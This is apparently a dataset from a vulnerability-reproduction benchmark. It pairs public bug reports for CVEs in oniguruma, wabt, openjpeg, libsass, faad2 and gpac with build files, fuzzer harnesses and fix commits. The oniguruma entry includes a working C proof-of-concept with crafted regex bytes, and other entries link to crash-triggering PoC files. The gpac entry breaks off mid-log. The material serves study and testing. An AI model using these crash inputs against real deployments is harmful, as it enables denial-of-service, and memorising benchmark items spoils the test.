================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/kkos/oniguruma/issues/59 ## Description: Issue: kkos/oniguruma#59 Title: SIGSEGV in left_adjust_char_head() due to bad dereference State: closed Created by: lxxxxfdh Created at: 2017-05-23 13:28:54+00:00 Issue Body: Test code: ```c #include <stdio.h> #include "oniguruma.h" static int search(regex_t* reg, unsigned char* str, unsigned char* end) { int r; unsigned char *start, *range; OnigRegion *region; region = onig_region_new(); start = str; range = end; r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE); if (r >= 0) { int i; fprintf(stderr, "match at %d (%s)\n", r, ONIGENC_NAME(onig_get_encoding(reg))); for (i = 0; i < region->num_regs; i++) { fprintf(stderr, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]); } } else if (r == ONIG_MISMATCH) { fprintf(stderr, "search fail (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); } else { /* error */ char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r); fprintf(stderr, "ERROR: %s\n", s); fprintf(stderr, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg))); return -1; } onig_region_free(region, 1 /* 1:free self, 0:free contents only */); return 0; } static int exec(OnigEncoding enc, OnigOptionType options, char* apattern, char* apttern_end, char* astr, char* end) { int r; regex_t* reg; OnigErrorInfo einfo; UChar* pattern = (UChar* )apattern; UChar* str = (UChar* )astr; onig_initialize(&enc, 1); r = onig_new(&reg, pattern, apttern_end, options, enc, ONIG_SYNTAX_DEFAULT, &einfo); if (r != ONIG_NORMAL) { char s[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(s, r, &einfo); fprintf(stderr, "ERROR: %s\n", s); return -1; } r = search(reg, str, end); onig_free(reg); onig_end(); return 0; } int main() { static unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 }; OnigUChar* inp = (const OnigUChar*) "\x00\x7c\x2e\x7b\x39\x7d\x7b\x39\x30\x7d\x7b\x39\x7d\x7b\x2c\x39\x30\x30\x7d\x30"; int r = exec( ONIG_ENCODING_EUC_JP, ONIG_OPTION_NONE, inp, inp+20, (char *) str, str+7 ); return 0; } ``` ASAN output: ``` ================================================================= ==26842==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000045eef4 bp 0x7ffe5a633330 sp 0x7ffe5a633310 T0) #0 0x45eef3 in left_adjust_char_head /home/xie/Downloads/oni/oni-asan-develop/src/euc_jp.c:194 #1 0x45914a in onigenc_get_right_adjust_char_head_with_prev /home/xie/Downloads/oni/oni-asan-develop/src/regenc.c:78 #2 0x4561ba in forward_search_range /home/xie/Downloads/oni/oni-asan-develop/src/regexec.c:3240 #3 0x457930 in onig_search /home/xie/Downloads/oni/oni-asan-develop/src/regexec.c:3611 #4 0x401148 in search /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:15 #5 0x401786 in exec /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:62 #6 0x40189e in main /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:71 #7 0x7fd6ce5c682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #8 0x400f68 in _start (/home/xie/Downloads/oni/oni-asan-develop/test/testc+0x400f68) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/xie/Downloads/oni/oni-asan-develop/src/euc_jp.c:194 left_adjust_char_head ==26842==ABORTING ``` In regcomp.c:4995 ```c static void set_optimize_map_info(regex_t* reg, OptMapInfo* m) { int i; for (i = 0; i < ONIG_CHAR_TABLE_SIZE; i++) reg->map[i] = m->map[i]; reg->optimize = ONIG_OPTIMIZE_MAP; reg->dmin = m->mmd.min; reg->dmax = m->mmd.max; **// set as 19683000** if (reg->dmin != ONIG_INFINITE_DISTANCE) { reg->threshold_len = reg->dmin + 1; } } ``` Later reg->dmax is used in pointer arithmetic at forward_search_range, resulting in a bad reference from regexec.c:3238 ```c if (reg->dmax != ONIG_INFINITE_DISTANCE) { *low = p - reg->dmax; if (*low > s) { *low = onigenc_get_right_adjust_char_head_with_prev(reg->enc, s, *low, (const UChar** )low_prev); if (low_prev && IS_NULL(*low_prev)) *low_prev = onigenc_get_prev_char_head(reg->enc, (pprev ? pprev : s), *low); } ``` Bad dereference: ``` (gdb) r Starting program: /home/xie/Downloads/oni/oni-asan-develop/test/testc [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x000000000045eef4 in left_adjust_char_head (start=0x66b140 <str> "\307\326\376\352\340", <incomplete sequence \342>, s=0xffffffffff3a5a8e <error: Cannot access memory at address 0xffffffffff3a5a8e>) at euc_jp.c:194 194 while (!eucjp_islead(*p) && p > start) p--; (gdb) ``` Comments: Comment by xixabangm4 on 2017-05-25 02:49:01+00:00: Thanks, please use CVE-2017-9229 to reference this issue. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9229
[ { "content": "/oniguruma\n/fuzzer.options.*\n", "filename": ".gitignore" }, { "content": "", "filename": "fuzzer.options" } ]
[ { "sha": "b690371bbf97794b4a1d3f295d4fb9a8b05d402d", "url": "https://github.com/kkos/oniguruma/commit/b690371bbf97794b4a1d3f295d4fb9a8b05d402d" } ]
wabt.cve-2022-43282
webassembly/wabt
c32fa597218dbe2c25b43a9837a8475b493ddb71
2022-05-04T09:41:06
wabt
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake libtool make python RUN git clone https://github.com/webassembly/wabt wabt RUN git -C wabt checkout c32fa597218dbe2c25b43a9837a8475b493ddb71 WORKDIR $SRC/wabt COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake .. cmake --build .
/src/wabt
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/WebAssembly/wabt/issues/1983 ## Description: Issue: WebAssembly/wabt#1983 Title: Out-of-bound read in OnReturnCallIndirectExpr->GetReturnCallDropKeepCount State: closed Created by: Q1IQ Created at: 2022-09-05 12:51:24+00:00 Issue Body: ### Environment ``` OS : Linux ubuntu 5.15.0-46-generic #49~20.04.1-Ubuntu SMP Thu Aug 4 19:15:44 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : 3054d61f703d609995798f872fc86b462617c294 Version : 1.0.29 Build : make clang-debug-asan ``` ### Proof of concept poc-interp-3.wasm [poc-interp-3.wasm.zip](https://github.com/WebAssembly/wabt/files/9489918/poc-interp-3.wasm.zip) ### Stack dump ``` /wabt/out/clang/Debug/asan/wasm-interp --enable-all ./poc-interp-3.wasm AddressSanitizer:DEADLYSIGNAL ================================================================= ==1491197==ERROR: AddressSanitizer: SEGV on unknown address 0x60600008bb58 (pc 0x000000509b3e bp 0x7ffe9a810b70 sp 0x7ffe9a810b40 T0) ==1491197==The signal is caused by a READ memory access. #0 0x509b3e in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40 #1 0x576a36 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::GetReturnCallDropKeepCount(wabt::interp::FuncType const&, unsigned int, unsigned int*, unsigned int*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:445:58 #2 0x56955c in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnReturnCallIndirectExpr(unsigned int, unsigned int) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1176:3 #3 0x6ead11 in wabt::(anonymous namespace)::BinaryReader::ReadInstructions(bool, unsigned long, wabt::Opcode*) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:937:9 #4 0x6ff84e in wabt::(anonymous namespace)::BinaryReader::ReadFunctionBody(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:667:3 #5 0x6c2f98 in wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2766:7 #6 0x6b0861 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2920:26 #7 0x6ada2f in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2981:3 #8 0x6aca08 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /wabt/out/clang/Debug/asan/../../../../src/binary-reader.cc:2998:17 #9 0x54f132 in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char>>, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::ModuleDesc*) /wabt/out/clang/Debug/asan/../../../../src/interp/binary-reader-interp.cc:1603:10 #10 0x4f6aed in ReadModule(char const*, std::vector<wabt::Error, std::allocator<wabt::Error>>*, wabt::interp::RefPtr<wabt::interp::Module>*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:207:3 #11 0x4f100a in ReadAndRunModule(char const*) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:234:19 #12 0x4f0427 in ProgramMain(int, char**) /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:329:25 #13 0x4f14a1 in main /wabt/out/clang/Debug/asan/../../../../src/tools/wasm-interp.cc:335:10 #14 0x7fa32b622082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 #15 0x43e39d in _start (/wabt/out/clang/Debug/asan/wasm-interp+0x43e39d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:919:40 in std::vector<wabt::Type, std::allocator<wabt::Type>>::size() const ==1491197==ABORTING ``` Comments: Comment by keithw on 2022-09-17 19:15:54+00:00: Thank you for finding and reporting this! Same comment as https://github.com/WebAssembly/wabt/issues/1981#issuecomment-1250125971 (appears to have been fixed by #1931). Attachments: https://github.com/WebAssembly/wabt/files/9489918/poc-interp-3.wasm.zip Commit References: 3054d61f703d609995798f872fc86b462617c294
[ { "content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \"wabt/src/binary-reader-ir.h\"\n#include \"wabt/src/binary-reader.h\"\n#include \"wabt/src/common.h\"\n#include \"wabt/src/ir.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n wabt::ReadBinaryOptions options;\n wabt::Errors errors;\n wabt::Module module;\n wabt::ReadBinaryIr(\"dummy filename\", data, size, options, &errors, &module);\n return 0;\n}\n\n", "filename": "wasm2wat_fuzzer.cc" } ]
[ { "sha": "3054d61f703d609995798f872fc86b462617c294", "url": "https://github.com/webassembly/wabt/commit/3054d61f703d609995798f872fc86b462617c294" }, { "sha": "424f1fec10749568b15ca598b01e7259eec50af7", "url": "https://github.com/WebAssembly/wabt/commit/424f1fec10749568b15ca598b01e7259eec50af7" }, { "sha": "ae093a52fe0d8b4991a4ab1beaddcd34d45b8937", "url": "https://github.com/WebAssembly/wabt/commit/ae093a52fe0d8b4991a4ab1beaddcd34d45b8937" }, { "sha": "043afae4e6ad1eeb5fe580024bb8d45ce21a9eb8", "url": "https://github.com/WebAssembly/wabt/commit/043afae4e6ad1eeb5fe580024bb8d45ce21a9eb8" } ]
openjpeg.cve-2017-14040
uclouvain/openjpeg
09e83407fa2b53c606d3179031b8d8b31272e20c
2017-08-17T04:05:53
openjpeg
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make cmake g++ RUN git clone https://github.com/uclouvain/openjpeg openjpeg RUN git -C openjpeg checkout 09e83407fa2b53c606d3179031b8d8b31272e20c WORKDIR $SRC/openjpeg COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake .. make clean -s -j$(nproc) make -j$(nproc) -s
/src/openjpeg
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/uclouvain/openjpeg/issues/995 ## Description: Issue: uclouvain/openjpeg#995 Title: invalid memory write in tgatoimage (convert.c) State: closed Created by: asarubbo Created at: 2017-08-17 08:59:55+00:00 Issue Body: On master: ``` # opj_compress -r 20,10,1 -jpip -EPH -SOP -cinema2K 24 -n 1 -i $FILE -o null.j2k ASAN:DEADLYSIGNAL ================================================================= ==13239==ERROR: AddressSanitizer: SEGV on unknown address 0x7f4f2e9b4800 (pc 0x00000052264a bp 0x7ffff176def0 sp 0x7ffff176dde0 T0) ==13239==The signal is caused by a WRITE memory access. #0 0x522649 in tgatoimage /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/bin/jp2/convert.c:928:45 #1 0x50b4e6 in main /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/bin/jp2/opj_compress.c:1881:21 #2 0x7f5de2316680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289 #3 0x41bc18 in _start (/usr/bin/opj_compress+0x41bc18) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /var/tmp/portage/media-libs/openjpeg-9999/work/openjpeg-9999/src/bin/jp2/convert.c:928:45 in tgatoimage ==13239==ABORTING CINEMA 2K profile activated Other options specified could be overridden ``` Testcase: https://github.com/asarubbo/poc/blob/master/00326-openjpeg-invalidwrite-tgatoimage Comments: Comment by carnil on 2017-09-03 13:17:17+00:00: This issue has been allocated CVE-2017-14040
[]
[ { "sha": "2cd30c2b06ce332dede81cccad8b334cde997281", "url": "https://github.com/uclouvain/openjpeg/commit/2cd30c2b06ce332dede81cccad8b334cde997281" } ]
libsass.cve-2018-19837
sass/libsass
19fd2bf2e31413b5935e7feb87fec630b486feba
2018-07-02T18:09:38
libsass
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/sass/libsass libsass RUN git -C libsass checkout 19fd2bf2e31413b5935e7feb87fec630b486feba WORKDIR $SRC/libsass COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu export BUILD='static' make -j$(nproc)
/src/libsass
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/sass/libsass/issues/2659 ## Description: Issue: sass/libsass#2659 Title: AddressSanitizer: stack-overflow in Eval::operator() (eval.cpp:563) State: closed Created by: hongxuchen Created at: 2018-06-02 07:24:05+00:00 Labels: Bug - Confirmed, Dev - PR Ready, Back port to 3.5 stable, Fuzzy Issue Body: We found with our fuzzer some stack over flow errors in `Sass::Eval::operator()` (eval.cpp, 45f50873962b7d1c66bd115ba6e644bdaaf6cac1) when compiled with Address Sanitizer (using sassc as the driver). ``` ASAN:SIGSEGV ================================================================= ==17362==ERROR: AddressSanitizer: stack-overflow on address 0x7ffe362605b0 (pc 0x7f7c51f2f7fe bp 0x7ffe36261810 sp 0x7ffe36260510 T0) #0 0x7f7c51f2f7fd in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:563 #1 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #2 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #3 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #4 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #5 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #6 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #7 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #8 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 ... #248 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #249 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #250 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 #251 0x7f7c51f2fe37 in Sass::Eval::operator()(Sass::Binary_Expression*) /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:595 SUMMARY: AddressSanitizer: stack-overflow /home/hongxu/FUZZ/libsass-orig/src/eval.cpp:563 Sass::Eval::operator()(Sass::Binary_Expression*) ==17362==ABORTING ``` Sample input files: [test_s102.txt](https://github.com/sass/libsass/files/2064773/test_s102.txt) [test_s401.txt](https://github.com/sass/libsass/files/2064774/test_s401.txt) [test_s601.txt](https://github.com/sass/libsass/files/2064775/test_s601.txt) Comments: Comment by xzyfer on 2018-06-21 10:13:35+00:00: Thanks @HongxuChen. I've confirmed the issue with test_s102.txt. A fix has been provided in #2675. --- Comment by xi on 2019-06-05 05:34:58+00:00: Assigned CVE-2018-19837 Attachments: https://github.com/sass/libsass/files/2064775/test_s601.txt https://github.com/sass/libsass/files/2064773/test_s102.txt https://github.com/sass/libsass/files/2064774/test_s401.txt Commit References: 45f50873962b7d1c66bd115ba6e644bdaaf6cac1
[ { "content": "#include \"sass.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char* sass_data = (char*) malloc(sizeof(char) * size + 1);\n if (sass_data == NULL) return 0;\n\n memcpy(sass_data, data, size);\n sass_data[size] = '\\0';\n\n struct Sass_Data_Context* ctx = sass_make_data_context(sass_data);\n if (ctx == NULL) {\n free(sass_data);\n return 0;\n }\n\n struct Sass_Options* options = sass_make_options();\n if (options == NULL) {\n sass_delete_data_context(ctx);\n return 0;\n }\n\n sass_option_set_output_style(options, SASS_STYLE_NESTED);\n sass_option_set_precision(options, 5);\n\n sass_data_context_set_options(ctx, options);\n sass_compile_data_context(ctx);\n\n sass_delete_data_context(ctx);\n sass_delete_options(options);\n\n return 0;\n}\n", "filename": "data_context_fuzzer.cc" } ]
[ { "sha": "210fdff7a65370c2ae24e022a2b35da8c423cc5f", "url": "https://github.com/sass/libsass/commit/210fdff7a65370c2ae24e022a2b35da8c423cc5f" }, { "sha": "45f50873962b7d1c66bd115ba6e644bdaaf6cac1", "url": "https://github.com/sass/libsass/commit/45f50873962b7d1c66bd115ba6e644bdaaf6cac1" }, { "sha": "f8416a663ea24ec3e1c15827c7b36010000b5243", "url": "https://github.com/xzyfer/libsass/commit/f8416a663ea24ec3e1c15827c7b36010000b5243" }, { "sha": "e8f286f2345c930bfc4a674e9e707ce0b7ab9b18", "url": "https://github.com/sass/libsass/commit/e8f286f2345c930bfc4a674e9e707ce0b7ab9b18" }, { "sha": "df8152d11dca573798fa5a660838fb8fbfc9d00b", "url": "https://github.com/sass/libsass/commit/df8152d11dca573798fa5a660838fb8fbfc9d00b" } ]
faad2.cve-2018-20357
knik0/faad2
334e7647a5f31903aca33dde39bb8683e9d8cccd
2017-12-17T13:54:42
faad2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/knik0/faad2 faad2 RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd WORKDIR $SRC/faad2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./bootstrap ./configure make -j$(nproc)
/src/faad2
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/knik0/faad2/issues/28 ## Description: Issue: knik0/faad2#28 Title: Null pointer dereference vulnerability in sbr_process_channel(libfaad/sbr_dec.c:413) State: closed Created by: fantasy7082 Created at: 2018-12-17 06:39:54+00:00 Issue Body: Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function sbr_process_channel.the details are below(ASAN): ``` ./faad faad_res/014-null-point-sbr_dec_413 -o out.wav *********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ****************** Build: Dec 13 2018 Copyright 2002-2004: Ahead Software AG http://www.audiocoding.com bug tracking: https://sourceforge.net/p/faac/bugs/ Floating point version This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. ************************************************************************** faad_res/014-null-point-sbr_dec_413 file info: ADTS, 0.469 sec, 41 kbps, 48000 Hz --------------------- | Config: 2 Ch | --------------------- | Ch | Position | --------------------- | 00 | Left front | | 01 | Right front | --------------------- ASAN:SIGSEGVfaad_res/014-null-point-sbr_dec_413. ================================================================= ==7082==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1bfe18af07 bp 0x7ffcee38c300 sp 0x7ffcee38c2c0 T0) #0 0x7f1bfe18af06 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:413 #1 0x7f1bfe18c7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637 #2 0x7f1bfe134b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071 #3 0x7f1bfe13ce28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631 #4 0x7f1bfe13b354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351 #5 0x7f1bfe13c2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441 #6 0x7f1bfe0f69c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990 #7 0x7f1bfe0f6566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821 #8 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679 #9 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323 #10 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366 #11 0x7f1bfdd2e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_dec.c:413 sbr_process_channel ==7082==ABORTING ``` POC FILE: https://github.com/fantasy7082/image_test/blob/master/014-null-point-sbr_dec_413 Comments: Comment by hlef on 2019-05-05 11:41:53+00:00: This issue was assigned CVE-2018-20357. Appears to have been fixed by 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3, needs to be double checked. --- Comment by fabiangreffrath on 2019-05-05 18:51:42+00:00: @hlef Please feel free to close any issues that you consider already fixed in the current source code. --- Comment by hlef on 2019-05-06 12:20:09+00:00: > @hlef Please feel free to close any issues that you consider already fixed in the current source code. I don't have permissions to close bug reports here :) --- Comment by fabiangreffrath on 2019-05-06 12:42:32+00:00: > I don't have permissions to close bug reports here :) Oops, I'll close whatever you mark as fixed then. :wink: --- Comment by fabiangreffrath on 2019-08-19 12:59:08+00:00: Hm, so can this get closed? --- Comment by fabiangreffrath on 2019-08-20 14:05:20+00:00: @hlef Hm? --- Comment by hlef on 2019-08-20 17:11:48+00:00: I can confirm that this is the same underlying issue as #21, different path. Fixed in https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3 This can be closed! --- Comment by fabiangreffrath on 2019-08-20 17:59:23+00:00: And it's closed. Commit References: 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3
[]
[ { "sha": "6b4a7cde30f2e2cb03e78ef476cc73179cfffda3", "url": "https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3" } ]
gpac.cve-2023-0866
gpac/gpac
be9f8d395bbd196e3812e9cd80708f06bcc206f7
2023-02-13T08:42:23
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout be9f8d395bbd196e3812e9cd80708f06bcc206f7 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/7d3c5792-d20b-4cb6-9c6d-bb14f3430d7f ## Description: Version MP4Box - GPAC version 2.3-DEV-rev44-gbe9f8d395-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --enable-sanitizer --verbose Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D Reproduce complie and run ./configure --enable-sanitizer make ./MP4Box -info poc information reported by sanitizer ➜ gcc git:(master) ✗ ./MP4Box -info ./adts_dmx_process_poc [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame 